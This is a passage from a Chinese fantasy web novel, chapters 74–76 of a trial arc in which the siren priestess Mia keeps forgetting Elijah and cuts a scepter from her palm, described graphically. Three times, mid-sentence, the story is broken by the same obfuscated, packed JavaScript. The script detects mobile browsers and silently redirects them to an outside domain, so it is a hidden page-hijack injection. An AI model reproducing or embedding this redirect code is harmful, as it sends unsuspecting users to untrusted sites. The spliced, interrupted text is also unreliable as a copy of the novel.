当初她设计凯勒和加里的时候,那两人神智不清的时候打起对方来可是一点儿不手软。 亡灵仿佛能听到她的心声,转动脑袋,一字一顿地说:“渡水者,消失了,只有,曾经是,渡水者的,普通人。” “什么?!”米娅嚯地一下站起来。 亡灵又钻回了地下,他淌下的水渍也跟着一起消失。 米娅又召唤了几个生前是渡水者的亡灵出来,一一询问之后,得到了一样的答案。 不知为何,他们都在一夕之间失去了曾经呼风唤雨的力量。 是偶然现象,还是…… 米娅叫来白马,让它去查探,白马还不知道这事,这些亡灵生前就失去了力量,来到冥界,也跟普通亡灵没什么两样,它根本没意识到,这些人曾经是渡水者。 白马回到冥界,将冥界翻了个底朝天,为米娅带来了最新的消息。 所有的渡水者,都在一夕之间失去了力量。 又因为在渡水者时期自视甚高,几乎都在失去力量后遭到了报复,死者众多。 白马甩了甩脑袋,还有些后怕,“还好他们失去力量了,这要一下子涌进来这么多力量强大的亡灵,可不好办了。” 米娅问他:“他们失去力量,是什么时候的事?” “三天前的晚上,大约十一点左右吧。” 船舱正好有本日历,米娅翻开算了下时间,她们在路上耽搁了很久,现在已经十月十五了,三天前,那就是十月十二。 十月十二日十一点。 她记住了这个时间。 白马见她面色有些沉重,低下头用侧脸来蹭她的手,边蹭边安慰她:“其实我觉得这也是好事,没有了渡水者,人类很难再组织起有效的力量对付海妖,您可以彻底放心了。” 米娅抚摸它油亮的鬃毛,莫名觉得这一幕有些眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225407|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟。 既视感一闪而过,她努力回想,却连模糊的片段也想不起来。 米娅知道白马说的不错,心里却蒙上了一层阴翳。 她忽然想到了赫尔西岛,渡水者失去力量,对赫尔西岛的影响应该很大吧,皇室不是一直都觊觎赫尔西岛吗? 不过赫尔西岛现任领主身份这么特殊,或许也不会有影响。 如果在绿恩岛遇到了卡伦,到时候再问他吧。 紧赶慢赶,客船总算在十月十九这一天到达绿恩岛。 乌斯在码头迎接她们。 “米娅祭司,许久不见,这位是?”红衣神官的目光落到尤妮身上,看到海妖少女稚嫩的脸庞和藏不住好奇的神情一愣。 米娅微微一笑,她猜得到他在想什么,海妖捕杀令刚刚解除,自己竟然带着一个看起来单纯的海妖少女来赴约,未免太大胆了些。 “尤妮,我的……妹妹。” 尤妮看见他温和的笑容,也对着他笑:“你就是乌斯吗,我听米娅姐姐提起过你。” 乌斯在前方引路,带着她们坐上了马车,闻言有些怔然,“哦?不知米娅祭司是怎么提到在下的。” 尤妮狡黠一笑,“嘿嘿,米娅姐姐就在这里,你还是问她吧,我可不敢乱说。” 乌斯失笑,没再继续问下去。 马车驶进皇宫,米娅终于见到了洛琳女皇。 一个比尤妮大不了多少的少女,但在长期的皇室倾轧中,早就没有了这个年纪该有的稚嫩与天真。 洛琳女皇说,见到米娅的第一面,自己就明白了莱森为何钟情于她。 米娅闭口不言,她早就拒绝了莱森,亦不想在此时提起他。 她总觉得,她应该说的是另一个人。 但是是哪一个人,连她自己也想不起来了。 洛琳女皇又说,海妖捕杀令是莱森的父亲雅克亲王推动的,彼时她刚以稚龄登上皇位,只能任由她摆布。 米娅终于有了反应,“雅克现在在哪儿?” 回答的是乌斯。 “雅克亲王已经去世了。” 这该是帝国的大事,米娅却从未听到过风声,她觉得不对劲,“什么时候?” “一周前。” 一周前?那不就是—— “十月十二日?该不会是当天晚上十一点吧。”米娅冷笑,视线落到他们的脸上,没有错过他们微妙的神情。 “看来您已经知道了。”乌斯叹息道。 米娅笑容一敛,“足以影响整个奥维伊群岛的大事,你们再怎么隐瞒,也只是徒劳,很快,整个群岛都会知道。” 气氛僵持。 最后,洛琳女皇又说,她希望和海妖合作。 渡水者消失,皇室等于断了左膀右臂,眼下还能压得住,未来局势定会动荡,他们想得到海妖的帮助。 敌人摇身一变成为合作伙伴。 在人类世界不少见,米娅和尤妮却无法接受。 不过,米娅还是给了他们一个承诺。 “我不会约束单个海妖的行为,但我可以承诺,海妖一族不会站在任何一方。” 皇室和教会接受了。 对他们而言,虽然不是最好的结果,但这也不算最坏的结果。 米娅和尤妮以贵客的身份在皇宫住了下来,皇室给了她们最高的礼遇,她们可以在皇宫内自由走动。 米娅不感到荣幸,如今的无限制,只是因为他们已经限制不了她了。 她在皇宫中与卡伦擦身而过,然后站在原地想了好久,才想起来他是谁,想起来自己还有话想问他。 可是转头看到卡伦的背影,又觉得没什么好问的。 她听说渡水者失去力量的那个晚上,绿恩岛上的法齐奥剧院发生了一场爆炸,感到其中或许有关联,便去剧院看了一眼。 一片废墟之中,有神力波动的痕迹。 她尝试用权杖追查神力的来源和去向,权杖却罢工了,她只好放弃。 74. 试炼(四) 到达绿恩岛的第二天,米娅参加了洛琳女皇的婚礼。 女皇身着白色婚纱,头戴红色宝石王冠,手持象征帝国权力的手杖,高昂着头颅,与身着红色礼服的新郎携手走入教堂。 他们身上堆满了华美的装饰,闪亮的珠宝与银饰交相辉映,照亮了年轻的新婚夫妻光泽温润的脸庞。 大神官亲自为他们证婚,圣洁宏伟的教堂因婚礼而更显庄重。 观礼人群分列两侧,米娅站在角落里。 新人嘴角上扬的弧度完美端庄,挑不出一点儿错,仿佛精心设计过。 唯独感觉不到他们的喜悦。 米娅看了一会儿就神游天外。 正走神,尤妮悄悄戳了戳她的手臂,靠近她小声说:“好漂亮啊,米娅姐姐,我结婚的时候能不能穿这么漂亮的裙子?” 海妖的婚礼一向简约,没有精心布置的场地,没有华美耀眼的服装。 这是风俗所致。 “你怎么刚出来就被人类的奢靡腐蚀了。”米娅轻笑着调侃她,然后话音一转,“想穿什么就穿吧,不过,都已经想到婚礼的裙子了,看来尤妮已经有了想结婚的对象了。” 尤妮红了脸,破天荒地没否认。 扭捏了一会儿,也学会了反客为主。 “米娅姐姐你呢?” “我?” 米娅垂眸,茫然地重复着。 她隐约记得,自己设计过一款礼服,不似婚纱这般繁复华贵,但也令人惊艳。 她穿着那款礼服参加了舞会,她和看不清脸的男人在舞池中共舞。 她甚至记起了男人手掌放在她腰间时冰冷的触感。 可他是谁呢? 尤妮羡慕的目光落到不远处的新人身上,即使是政治联姻,当大神官宣布他们结为夫妇之刻,他们的脸上还是流露出了一缕紧张。 她没注意到米娅的异样,继续小声问:“米娅姐姐,你有想要结婚吗,我真想不到有谁能配得上你。” 半晌没有回应,尤妮转头一看,身边空荡荡的。 教堂外。 米娅忽然出现,吓了门口的护卫一跳,好在他们认得她是女皇的贵客,忍着惧意关心了两句。 米娅摆摆手,谢过他们的好意,走到水池旁,坐在水池边缘。 水池清浅,底部铺满了一层闪光的钱币。 行人从此路过时,总喜欢往水池里投一枚钱币,再许个愿。 眼见着池底都被占满了,教会在旁边立了个禁止投币的牌子,情况才有所好转。 米娅怔怔地盯着池底,她也不知道自己是怎么了,一想到尤妮的问题,就感觉喘不过气来,只好出来透透气。 米娅深深地呼吸,压抑的感觉渐渐消失。 池底有一枚银币,躺在一堆廉价的铜币铁币中间,格外显眼。 米娅注意到银币的图案和通常的不同,想了一会儿,发现竟然是大陆时期的银币。 也不知道是谁扔下去的,可真舍得啊。 她也有三枚,听说很贵重,一直被珍藏在树干中,现在也取不出来了。 真可惜,米娅轻叹,那银币是—— 她顿住,美丽的眼眸忽闪了一下,那银币是从哪儿来的呢,她为什么没有印象了? 不应该。 她看着池底那枚银币出神,好一会儿,才恍然明白过来,难道最近自己总觉得哪哪都不太对劲,又说不上原因。 她似乎忘了一些事情。 但又总是想起与遗忘的事物相关的人或事。 婚礼结束后次日,米娅和尤妮坐船离开了绿恩岛。 回去的路上,尤妮听说了米娅的烦恼,觉得她是想多了。 “只是暂时忘了吧,我有时候也有这种感觉,比如想找某样东西,依稀记得自己把它放在了哪里,但就是找不到,而过几天之后,它又自己跑出来啦。”尤妮咬着一根棒棒糖说。 也许就是她说得这样。 米娅点点头,看她一眼,见她又往嘴里塞了另一样人类的美食,有点儿无奈,“你怎么像从来没出来过,什么吃的都要尝一下。” 海妖少女明媚的眼睛一眨一眨,控诉道:“我信了米娅姐姐你记性变差了,这就是我第一次出来呀。” “是……吗?” 尤妮控诉她,“好多年前有一次,你明明答应了我要带我出岛玩,结果一直拖一直拖,拖到现在。” 米娅尴尬地笑,她还真把这事忘了,“抱歉。” 尤妮大度地说:“算了,这次出来我就当是兑现多年前的承诺了。” 海风温柔,米娅看着少女的脸庞,忽然觉得也没必要去探究那些记不清的故事。 奥修斯岛还好好的,海妖们还好好的,不就够了吗? 一旦不去想这些烦心事,时间溜起来也就快了。 回程一路顺风,奥修斯岛也一切平安。 此后的很长一段时间里,随着海妖和人类的接触越来越频繁,她们时常能听到人类世界的消息。 渡水者的变故没能被隐瞒多久,混乱和战争再度降临,又被很快压制下去。 越来越多的海妖选择了出岛去,奥修斯岛逐渐变得冷清。 但是米娅再没有出去过,冥界受人类世界影响,也忙碌了好一阵子,她无暇分身。 尤妮越来越成熟,越来越从容,她终于可以放心地将海妖一族交给她,只在极其特殊的时刻,才会出面。 冥界的忙碌只是一时,闲下来之后,她反倒更懒得出去了。 无聊的时候,就坐在生命之树的树顶,看着某一个方向发呆。 日子一天天过去,尤妮某一天都忍不住问她:“米娅姐姐,你在看什么呢?” 米娅回答:“我只是在发呆而已。” 尤妮不信,“发呆,哪有一直对着一个方向发呆的。”她站起来眺望远方,视线穿过海上的雾气,依稀看到远方的岛屿。 那是赫尔西岛。 “你想去吗?”尤妮问。 米娅皱眉,又强调了一遍,“我真的只是在发呆而已,原来这是赫尔西岛的方向,你不说我都不知道。” 尤妮半信半疑,回去后和迪伦一合计,硬拉着米娅去赫尔西岛逛了一圈。 此时已是群岛历二二零年。 赫尔西岛的领主仍是莱森,他早已娶妻,妻子是萨穆帝国的瓦莱丽公主,他们育有一子一女,结婚和生子时,米娅都拜托别的海妖送去了礼物。 卡伦离开了。 乌斯升任了大神官。 物是人非。 米娅走在熟悉的街道上,周围都是陌生的面孔。 有人认出了她,背地里小声议论着她,她也不在意,心不在焉地走着走着,走到城镇之外,走到悬崖上,最后走到了赛欧庄园前。 一抬头,她就看见了那座废弃的高塔。 尤妮顺着她的目光看过去,“那座塔有什么特别的吗?” 米娅摇了摇头,往回走。 她们在赫尔西岛停留了一段时间,在岛上漫无目的地闲逛,尤妮的目的不仅没达到,还察觉米娅更喜欢发呆了。 有一次,她走到路上,差点儿撞到了一个路人。 路人刚要发难,见撞自己的是个美艳绝伦的女人,眼睛都看直了。 他偷偷跟着她们,知道她们的住处之后,时不时在门口等着,米娅一出来,就对她大献殷勤。 尤妮觉得他就像只烦人的苍蝇,可是米娅表情淡淡的,没表现出厌烦来,她只好忍耐着,心想这个人难道有什么特别之处。 然而此人唯一的特别之处就是特别自信,他见米娅没赶他走,自认为米娅对他有意,在某个夜晚,抱住了米娅想亲吻她。 没等暗中观察的尤妮出手,米娅先甩了他一巴掌。 这一巴掌力道极大,男人直接摔到了地上,不可置信地看着眼前的女人淡淡地说道:“你不是他。” “他?什么他?你有男人了?” 米娅摇头道:“也许吧,我也不清楚。” 说完她头也不回地走了。 男人还想追上去,尤妮在他面前现出海妖的模样,把他吓跑了。 此事过后没几天,她们就回了奥修斯岛。 又过了一段时间,趁着白马来人间找米娅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225408|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尤妮偷偷把它拉到一旁,将米娅的异样都给它说了一遍。 白马还是要见多识广些,若有所思道:“照你的意思,米娅曾说她忘了什么,实际上是忘了一个人,而你告诉她,暂时忘了不要紧,总会想起来的,她听了你的话,表面上不去想了,但潜意识里其实一直在想这件事。简单点儿说,想得多了,变魔怔了。” “啊?”尤妮着急地问,“那该怎么办。” 白马安慰她,“我看米娅处理起冥界的事务来还挺正常的嘛,应该问题不大,我去试一试能不能让她走出来。” 一海妖一马在说话时,刻意压低了声音,但他们都忘了米娅的听力超群。 米娅将他们的话听进耳朵里,心想,原来是这样。 白马过来说,如果她实在想不起来,那只有一种可能性,那就是那个人其实在她心里不重要,对于一个不重要的人,根本就不必去想他到底是谁。 尤妮倒吸一口凉气,白马的说法怎么比她的说法还极端。 没想到真有用,米娅居然笑了,“你说得没错。” 她又恢复了往昔的活力,虽然还是不爱管事,好歹没有天天发呆,像丢了魂似的。 时间过得愈发快了。 沧海桑田,和奥修斯岛做生意的人类换了一茬又一茬,隔壁赫尔西岛上领主都是莱森的曾孙了,海妖依然是原来的模样。 米娅这时才一百多岁,在海妖之中,还算年轻的,但她找来了白马和尤妮,向他们宣布:“我快死了。” 白马和尤妮根本不信,她看起来明明就好好的。 米娅微笑:“我是认真的。” 她将自己关进了屋里,在屋外布下结界,白马和尤妮都闯不进来。 桌上有一把匕首。 她用冥界的火淬炼了很久,才让一把普通的匕首变得坚不可摧。 她左手拿起匕首,举起右手,让那权杖的图腾在掌心浮现。 刀尖抵在图腾边缘,她用力按了下去。 先断掉的应该是手掌的筋络,然后才是鲜血涌出,瞬间侵染了整个手掌。 图腾在鲜血的洗礼下愈发明亮,像是嘲笑她。 米娅没有理会,转动深入骨血的刀刃,斜着向掌心刺去。 真疼,剜心般的疼。 她一直以为自己很能忍痛,但她还是低估了生生剥离权杖的痛苦,权杖在和她对抗,它想让她屈服。 砰砰砰。 尤妮进不来,但能从窗户看到屋内的景象,她的脸上满是震惊和不解,双眼通红,不停地拍打着窗户,“米娅姐姐,快停下。” 白马在她身后焦虑地飞来飞去,口中喃喃道:“不行不行。” 过了一会儿,它也将头伸到了窗户上,叫道:“米娅,强行和权杖分离,你会死的!” 米娅苦笑,她都和权杖融合这么久了,她能不知道吗? 不然,也不会有刚才的对话。 米娅蠕动嘴唇,默默地说:“对不起,我必须这么做。” 剧痛让她异常紧张,喉咙张开却发不出声音。 她用尽全力动了动手指,窗帘颤颤巍巍地自动合拢,隔开尤妮和白马的视线。 还是……别让他们……看见为好。 米娅跌坐在地上,将全身的力气都集中到握着匕首的左手上,一刀,一刀,又一刀,图腾和其附着的血肉,就这么被削了下来。 权杖自虚空中显形,静静地停留在她的面前,好像在质问她,为什么要放弃自己。 米娅感到身体很轻,疼痛终于消失了。 她想,从她得到权杖之后,她就遗忘了一些事情,尤妮说她只是暂时忘了,总会想起来,白马说遗忘就说明不重要,不必在意那些被遗忘的过往。 她很想相信他们的话,但心底清楚,那不过是自欺欺人。 后来的若无其事,只是为了让他们放心罢了。 今天发生的一切,是她早就计划好了的。 尤妮并不知道,她已经很久没有入眠过,因为只要一闭上眼睛,她就忍不住去想,她到底忘了什么。 那一定是,非常非常重要的事。 75. 试炼(五) “哈……” 米娅深吸一口气,从混乱迷茫的状态挣脱。 她躺在草地上,黑色的野草随风摆动,叶片边缘生长着细长的绒毛,轻轻刮过她的脸颊。 痒痒的,又有点儿疼。 不过,都比不上右手掌心传来的痛感。 锥心的疼痛从掌心传至全身,每一根骨头都像浸泡在滚烫的沸水里。 米娅翻了个身,平躺在草地上,几只萤火虫在她眼睛上方盘旋,然后落到她的脸颊上。 荧光化作流水,浸润了皮肤。 冰凉触感压下痛觉,她从草地上坐起来,又看到了漫天飞舞的萤火虫。 权杖被萤火虫簇拥在中心,镶嵌的宝石像一只空洞的眼睛,直勾勾地盯着她。 “原来我一直在试炼中。”米娅低声自言自语。 她抬起双手,捂在脸颊上,深深地呼吸。 虚假的未来似乎正在慢慢从她的脑海中消失,就像做了一场梦,在梦中时感觉一切都那么真实,醒来却发现都是假的。 泪水从指缝间流出。 她终于知道她忘了什么了。 以利亚。 “以利亚。”她喃喃道。 “以利亚!”她站起来,高声呼喊道。 静谧的空间里只有她的回音。 不,他还在外面,怎么会回应她呢。 忘了他,明明是她所希望的,为什么会是她的试炼内容? 难道她其实是害怕忘了他的? 米娅想到那个虚假的未来里自己像发了疯一样一定要想起他的样子,仓惶地闭上眼睛。 过了很久,权杖的方向有脚步声响起。 米娅睁开眼,喜悦的眼神在看到来人后又冷冻住,那是一道黑色的模糊人影,看不清脸,也分辨不出身形的边界。 他握住了权杖,拿着权杖走到了米娅面前,命令式地说:“拿着!” 声音莫名的熟悉。 但米娅没空去回想在哪儿听到过这声音,摇着头连连后退。 可是不管她退到哪儿,人影都如影随形,紧紧地跟着她,等待她接受权杖。 又过了一会儿,人影的耐心逐渐耗尽,一把将权杖塞进米娅手里。 熟悉的铠甲,熟悉的图腾。 米娅怎么甩也甩不掉,那把匕首也遗失在了虚假的未来里。 焦急之中,周围的景象发生变化。 她又回到了山顶,只有白马站在她面前。 “以利亚大人果真没有骗我,您竟然真的成功了。” 同样的话语,米娅没再理会它。 虽然分不清现在是否在试炼中,这一次,她不会再重复上一次的错误。 米娅看向权杖。 景象再次变化,她来到了赫特高塔顶层的房间。 卧房内的一切还维持着她离去时的样子,冷清空旷,毫无人气。 以利亚不在这里。 她走到窗边,看到远处花园里卡伦徘徊的身影,身影一闪,转瞬来到卡伦面前。 “米娅夫人,您怎么……额……还好没人看见,不然我可不好解释您怎么会突然出现。” 米娅冷眼看着他,如果这也是虚假的未来,他的反应未免又太真实了。 “以利亚呢?” 卡伦疑惑,“领主大人刚刚离开了,您有事找他吗?” “他去哪儿了?” 卡伦无奈地笑了笑,“领主大人去哪儿怎么会告诉我们呢,您若是有急事,不妨就在高塔里等待。” 米娅从他的表情判断出他没有说谎,只好又回了高塔。 她在高塔中等了整整三天。 以利亚还是没有回来,她再去问卡伦,卡伦却表现得比她还茫然,“难道那一天提前到来了?” “那一天……”米娅低声重复,卡伦没有明说,她却听出来了,卡伦知道以利亚的身份,知道他快死了,“原来只有我被蒙在鼓里。” 卡伦见米娅知道了,倒也不隐瞒了,“应该是我多虑了,之前领主大人说过,他还有几个月的时间,不至于这么快就——” 米娅冷静下来。 想到伊瑟尔和渡水者之间的关系,想到上一次渡水者失去力量的时间点,她觉得事情还没到最坏的时候。 “你还知道什么?”米娅问。 “您想救他吗?”卡伦没急着回答,希望先得到她的答案。 米娅沉默良久,重重地点了点头。 事到如今,她无法再骗自己。 卡伦松了一口气,缓缓道:“您应该知道,领主大人一直在寻找天空之神的心脏。” 米娅不说话,她现在知道了。 卡伦继续说道:“我曾听他提到过,如果实在找不到那颗心脏的话,还有一个希望更渺茫的办法。” 卡伦顿住。 米娅赶紧追问:“什么办法?” 卡伦叹气:“领主大人没有明说,他只提到了一个名字——忒菲。” “忒菲?混沌凶兽?跟它有什么关系?” 结果卡伦很惊讶,“混沌凶兽是什么?” 看来他知道得也有限。 说到混沌凶兽,那就不得不去问他们了——塞奇或是白马。 米娅回到冥界,白马正为了冥界的事焦头烂额。 “忒菲?忒菲都死了两万年了。” 米娅一愣,“怎么死的?” “被维里希斯女神杀死的,人间现在的太阳,就是它的心脏。”白马很快答道。 “它有没有可能复活或者转世?” “有可能吧,但肯定不会通过冥界,我反正没听说过它的消息。” 说完,白马就迫不及待地去解决冥界那些糟心事了,给米娅留下一个远去的背影。 它在隐瞒。 米娅转身走了,能怎么办,她又不能对它刑讯逼供。 她回到赫尔西岛,找到了即将离开赫尔西岛的乌斯。 当然,她不是来找乌斯的,而是来找那个曾附身在乌斯身上的神秘灰雾,他说他叫塞奇,以利亚说他来自混沌,也许他能为她解惑。 “很抱歉,米娅祭司。”乌斯单手放在胸口,垂着头说,“我们的联系一直是单向的,自从上次在马车上他强行附身与您交谈之后,他已经很久没有出现了。” 线索再一次断了。 米娅有些气馁,总是这样。 她强打起精神,问起另一件事,“十一年前,你为什么要召唤他?” 乌斯说:“事关皇室机密,请恕我不能告诉您。” “是雅克亲王的命令吗?” 那时,她在高塔的地下室还看到了一个昏迷的中年男人,后来在以利亚的回忆里,她确定了那个男人的身份。 雅克亲王,莱森和罗尔的父亲。 乌斯不再言语。 米娅走了。 她回到赫特高塔,以利亚还是没有回来,她坐不住了,离开了赫尔西岛,去了所有以利亚可能出现的地方。 十月的某天,她又听说了渡水者失去力量的消息。 不是十一月十二日吗? 她感到疑惑,去了绿恩岛一趟。 闻名奥维伊群岛的法齐奥剧院矗立在绿恩岛西部,白色的建筑恢宏大气,米娅第一次见到它的全貌。 与此同时,她听到了街头巷尾流传的一则消息。 五天前,皇宫中发生了爆炸。 又是爆炸,可是时间不对,地点也不对。 从绿恩岛出来,她又去了以利亚遇到约翰的那个小岛。 她见到了已经不再跑船的约翰,那个男人蓄起了胡子,在岛上做起了生意,如今坐拥布店、旅馆、酒馆等多家店铺,是岛上有名的富人。 帮他打理生意的人里有一个坐在轮椅上的女人,是他曾说过的伤了腿的妹妹,女人的腿虽然没有治好,但似乎也不再为此难过。 也是在这时,米娅发现自己又开始遗忘了。 她盯着约翰的脸,盯着盯着,忘了为什么要盯着他。 但她还没彻底遗忘,想了很久之后,她总算想起来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245997|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为她要找到以利亚。 趁着没有完全遗忘,她给自己写了一封信,信中记录了他们相识的过程和如今的处境,她将信贴身放着,时不时拿出来看一眼。 她还去了慕斐岛。 山洞中的裂缝口被封住了,她跳不下去。 她在慕斐岛转了一圈,意外察觉到了些许属于以利亚和塞奇的痕迹。 他们曾在此处停留。 她心中振奋,自己的坚持似乎终于有了回报。 她在慕斐岛停留了很久,却没有等到他们,等着等着,她逐渐忘记了自己在等谁,拿出写给自己的信一看,墨迹早就晕开,看不清内容了。 …… 米娅再次从黑色的草地上“醒来”,潮水般的记忆向她涌来。 她又忘了他,像上次一样,她在奥修斯岛度过余生,最后实在忍受不了记忆缺失的痛苦,选择了剥离权杖。 她毫不怀疑,再来一千次一万次,还是同样的结果。 黑色的人影站在一旁,权杖漂浮在他身侧,仿佛要与他融为一体。 米娅抬起手,摸到脸上一片冰凉。 她又哭了,这次连自己都没有感觉。 难道,还要再来一次吗? 她转头看着他们,连泪水都不想擦,“你到底是谁?为什么不肯放过我?” “我在、帮你。”黑影断断续续地说。 米娅有气无力地说:“如果你真的想帮我的话,就让我出去吧,权杖我不感兴趣,我也不想再经历一遍遗忘了。” “你还、没懂。”黑影抬起手臂,权杖直接飞进了米娅怀中。 连一点儿缓冲也不给了吗? 米娅抬起手臂,剥离权杖的痛楚尚且清晰,权杖又回到了她的手上,她实在不想动弹,怔怔地望着头顶的黑暗。 她已经好久好久没有见到他了。 他现在在做什么呢,在外面等她,还是像无尽的试炼中一样,已经离开了? 试炼似乎不允许她消极怠工,自动将她送到了试炼的开头。 白马说着一模一样的话。 嘴巴一张一合,说得她脑袋嗡嗡作响。 干脆,这一次直接放弃吧。 米娅想着,一口咬在了右手掌心上,鲜血瞬间流满了唇齿之间。 白马被骇了一跳,最后两个字没能说出来。 米娅生生将掌心的图腾撕咬下来,她没有刀,一时之间也找不到合适的工具,这是最简单的办法。 比前两次都要痛,尖锐得像在刀山火海中滚过。 米娅痛得蜷缩起来,嘴角溢出嘶哑的呻吟。 再一睁眼,她又回到了草地上。 萤火虫越来越少了,那道黑色的人影蹲下来,看着她狼狈的样子,犹豫了一下,总算没有再直接把权杖塞给她。 “你的目的是什么?” 米娅咬着牙问他,她的嘴里仿佛还充斥着自己的鲜血,有股铁锈味萦绕不去。 “帮你。”人影越来越言简意赅。 米娅气结,让她一遍一遍经历痛苦,这算哪门子帮忙。 “不要、浪费、时间。” 米娅苦笑,“我连躺着休息一下都不行吗?” 她不想动,也动不了,疼痛似乎会累积,她毫不怀疑,再来两次,她会痛晕过去。 “不是、这个、意思。”人影的话又多了起来,声音中竟然有了情绪,有点儿恨铁不成钢的意思,“里面的、时间。” 米娅思考了好一阵,有点儿明白过来了,“里面藏着秘密是吗,你希望我去找出秘密?那秘密是不是跟以利亚有关?” 人影又不说话了。 “给我吧。”米娅伸出手,半透明的指尖刚刚伸展开,权杖就自动飞了过来。 这一次,权杖似乎感受到了她的接纳,没再伸出藤蔓紧缠她的手臂。 一晃眼,米娅看到了自己血肉模糊的掌心,对疼痛的惧意油然而生,又被她很快压了下去。 如果真能打破这难解的宿命,这点儿疼又算得了什么呢? 76. 试炼(六) 一次。 两次。 三次。 …… 她逐渐忘了计数,只记得每一次回到那片草地时,几乎将她淹没的痛感,以及想起那个遗忘的人时难以抑制的酸楚。 她去了很多地方,几乎走遍了奥维伊群岛每一个角落。 可是她再也没有见到他,无论是在记得他时还是忘了他时。 又是一次全新的开始。 看着面前不知道见过多少次的白马,她陷入了茫然。 无数次的重复,她敢说现在世界上没有几个人比她更懂冥界和奥维伊群岛了,但她还是没能发现,所谓的“秘密”是什么? 试炼的终点又在哪里? 除了最初的几次,人影几乎不说话了,像个稻草人,僵硬地立在草地上。 有一次,米娅对他说:“我知道你是谁了。” 他还是没反应。 不能回想,米娅告诫自己。 一旦去回想,就会忍不住将每一次经历都回忆一遍,那份重量,虽然不至于压垮她,但足够让她这一次什么也做不了。 好好想想,还遗漏了什么。 她回到奥修斯岛,岛上的海妖正为生命之树的枯萎而发愁。 像很多次一样,她用权杖的力量暂停了生命之树的枯萎进程,然后回到了自己的小木屋中,就像很多次做的那样。 这里安静且熟悉,让她感到安心。 “米娅姐姐,你还好吗?” 刚说安静呢,尤妮就跑了过来。 同样的对话进行过很多次,米娅知道她接下来会说什么。 生命之树的果实是海妖孕育的场所,她虽然阻止了生命之树的彻底枯萎,但失去了神力的生命之树,也失去了孕育海妖的能力。 尤妮是来问接下来海妖一族会怎么样的。 若是第一次遇到这个问题,米娅也不知道会怎样,但无数次的未来已经告诉了她答案,海妖一族将回归绝大多数物种的生育方式。 说简单点儿,就是和人类一样。 而且能生育混血的孩子了。 这也是在山顶上以利亚说“你怎么知道我们生不了”的原因。 他们的孩子吗? 米娅想象不出来,那个孩子会更像海妖一点儿,还是更像人类一点儿呢。 尤妮得到答案,垂头丧气地向外走去,她还需要一段时间消化这个答案。 以往这个时候,米娅只是静静看着她离去。 今天,她忽然改了主意。 她叫住尤妮,和她一起外出,问她:“尤妮,你觉得很难接受吗?” “那是当然了。”尤妮哭丧着脸点点头,“我们从小到大听到的不都是海妖是神明的宠儿,所以才会如此特殊吗,结果现在神明轻易就抛弃我们了,我们变得和人类差不多了,还要面临血统被污染的风险。” 米娅皱了皱眉,她的想法着实有些危险。 米娅见过后来的尤妮,她最终还是接受了这些残酷的事实,带领海妖一族在复杂的人类社会之间寻求平衡。 她做得很好,米娅不想因为这么一句话而苛责她,耐心地开导她:“我想,也许海妖一族没有我们一直以来想象得那么特殊,你瞧,海妖与人类有许多共同之处不是吗,我们都会受伤流血,都有喜怒哀乐,都——” 尤妮打断她:“这些我都明白,但是是祭司奶奶说的,海妖的诞生是不止一位神明精心设计的作品。” “不止一位神明?”米娅疑惑地看过去。 海妖的起源故事在每一个海妖开始记事时就会重复无数遍,海神在大海中创造了无数生命,但那些生命大都愚昧无知,祂并不满意,于是仿造众神与人类的起源,在海洋中心升起一座孤岛,将神器埋入孤岛的泥土之中。 生命之树拔地而起,第一只海妖在果实中诞生。 那是两千多年前的故事。 在那美丽眼眸的注视下,尤妮默默低下了头,“老祭司不让我告诉你来着,可是我觉得奥修斯岛都成这样了,告不告诉你也没区别——” …… 尤妮离开了,米娅独自回到木屋,看着窗外失去光泽的生命之树树叶,坐下又站起,难掩激动的心情。 黑色的人影悄无声息飘出来。 她第一时间发现了,竟然不感到意外,激动得声音都有些颤抖,“我犯了一个很严重的错误,我去了那么多地方,见了那么多人,却忘了离我最近的地方。” “灯下黑。”人影无感情地总结道。 “您说得不错。”米娅笑了笑,突然脸色一变,眼神锐利地盯着人影,“您肯在这虚假的未来里现身,说明我终于发现了您想让我知道的秘密,是吗?” “是。” “但我有一点实在想不通,您为什么不直接告诉我,非要绕这么大一圈子让我自己发现?” 黑色的发尾漂浮而起,米娅的双眼变成天空一样的蔚蓝色。 很久之前,以利亚曾问她,为什么奥修斯岛的上空不会被云遮蔽,那时她也不知道原因,只能将其归功于神明的宠爱。 可是神明离开之后,无尽海的天气变得和别的海域一样,奥修斯岛上方依然在很长一段时间内是晴空万里。 头几次试炼时,米娅就注意到了这一点。 不过没过几个月,奥修斯岛上空的天气也阴晴不定起来,她就没有深究,以为只是刚好那几个月就是晴天而已。 